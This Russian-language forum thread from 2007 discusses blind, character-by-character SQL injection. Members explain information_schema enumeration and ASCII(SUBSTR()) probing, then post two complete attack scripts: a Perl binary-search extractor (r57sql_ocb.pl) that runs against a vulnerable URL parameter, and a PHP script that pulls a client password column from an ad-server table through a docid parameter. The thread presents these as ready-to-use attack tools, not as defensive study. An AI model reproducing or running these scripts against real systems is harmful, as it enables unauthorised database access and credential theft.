Посимвольный перебор в бд

Discussion in 'PHP' started by }{0TT@БЬ)Ч, 21 Jan 2007.

  1. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    Вот прочитал статью и ни как не могу понять, получается что название колонок,таблиц,бд нельзя таким способом подобрать :confused: Тоесть этот метод используется, если уже известны название, но не осуществляется вывод данных полученных из запроса? :confused:
     
    1 person likes this.
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    да
     
    1 person likes this.
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    [cash], не совсем.

    БД: database()
    колонки и таблицы можно, если версия mysql >= 5.0:
    таблицы: select table_name from information_schema.tables
    колонки: select column_name from information_schema.columns where table_name='table'
     
  4. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    тогда получается это уже не посимвольный перебор :) тоесть название колонок,таблиц существующих будет выводиться в сообщениях об ошибках?
     
  5. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    нет, я про посимвольный перебор
    он ведь организуется через
    ASCII(SUBSTR(строка, индекс, 1)) > число

    в качестве строки для перебора будет подзапрос - (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1), например.
    Ну или через UNION. Врубил?
     
    1 person likes this.
  6. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    все, теперь ясно надо подкрепить материал на практике:)Спасибо _Great_
     
  7. Nekt

    Nekt Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    58
    Likes Received:
    11
    Reputations:
    0
    У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебирает.
     
  8. C[]R3

    C[]R3 Elder - Старейшина

    Joined:
    16 Jan 2007
    Messages:
    32
    Likes Received:
    6
    Reputations:
    0
    r57_sql_ocb.pl кажетсо, вот код
    Code:
    #!/usr/bin/perl
    
    # r57sql_ocb.pl
    # sql-databases one char bruteforce tool
    
    use LWP::UserAgent;
    
    $path   = $ARGV[0]; # запрос с уязвимому скрипту с параметром
    $query  = $ARGV[1]; # запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()
    $s_num  = $ARGV[2]; # позиция символа который перебираем
    $string = $ARGV[3]; # строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД 
    
    if (@ARGV < 4) { &usage; }
    
    # диапазон символов для перебора
    $min = $ARGV[4] || 97;  # a
    $max = $ARGV[5] || 122; # z 
    
    &found($min,$max);
    
    # подпрограмма уменьшения диапазона символов
    sub found($$)
     {
     my $fmin = $_[0];
     my $fmax = $_[1];
     # если диапазон менее 5 символов то переходим к перебору
     if (($fmax-$fmin)<5) { &crack($fmin,$fmax); } 
     # иначе находим середину диапазона
     print "-> Try $fmin .. $fmax -> "; 
     $r = int($fmax - ($fmax-$fmin)/2);
     $check = ">$r";
     # проверяем ответ скрипта и в зависимости от возвращенного результата
     # рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
     if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
     else { print "Char < $r\r\n"; &found($fmin,$r+1); }
     }
    
    # подпрограмма поиска перебором 
    sub crack($$)
     {
     my $cmin = $_[0];
     my $cmax = $_[1];
     $i = $cmin;
     # проходим циклом по диапазону
     while ($i<$cmax)
      {
      $crcheck = "=$i";
      print "-> Try $i ->";
      # проверяем ответ скрипта, если ответ положительный то выводим символ и выходим 
      if ( &check($crcheck) ) { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
      else { print " NO =(\r\n"; }
      $i++;
      }
     print "NOT FOUND"; exit();
     }
    
    # подпрограмма проверки результата запроса 
    sub check($)
     {
     $ccheck = $_[0];
     # формируем запрос к скрипту
     $http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
     # отправляем запрос
     $mcb_reguest = LWP::UserAgent->new() or die;
     $res = $mcb_reguest->post($http_query); 
     # получаем ответ сервера
     @results = $res->content; 
     foreach $result(@results)
      {
      # ищем в ответе скрипта строку совпадающую с нашим условием
      if ($result =~ /$string/) { return 1; }
      }
     return 0;
     }
     
    sub usage
     {
     print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] [return_string] [brute_min_char] [brute_max_char]\r\n";
     print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
     exit(); 
     }
     
  9. Nekt

    Nekt Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    58
    Likes Received:
    11
    Reputations:
    0
    PHP:
    <?
        
    $sp=$_GET["sp"];
        
    $type="num";
        
    $hash="";
        
    $s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SELECT+clientpassword+from+phpads_clients+LIMIT+1),$sp,1)))<58";
        
    $f=fopen($s,r);
        
    $get=fread($f,200);
        
    fclose($f);
        if (
    $get!="")
            
    $type="num";
        else
            
    $type="char";
        switch (
    $type){
            case 
    "num":
                
    $start=48;
                
    $fin=58;
                
                break;
            case 
    "char":
                
    $start=92;
                
    $fin=103;
                
                break;
        }
        for (
    $i=$start;$i<$fin;$i++){
            
    $s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SELECT+clientpassword+from+phpads_clients+LIMIT+1),$sp,1)))=$i";
            
    $f=fopen($s,r);
            
    $get=fread($f,200);
            
    fclose($f);
            if (
    $get!=""){
                
    $hash=chr($i);
                break;
            }
        }
        echo 
    $hash;
    ?>
    :)
    Вот нашел. Вроде он. :)
    P.S. если мона плюсик.
     
    #9 Nekt, 24 Jan 2007
    Last edited: 25 Jan 2007
    2 people like this.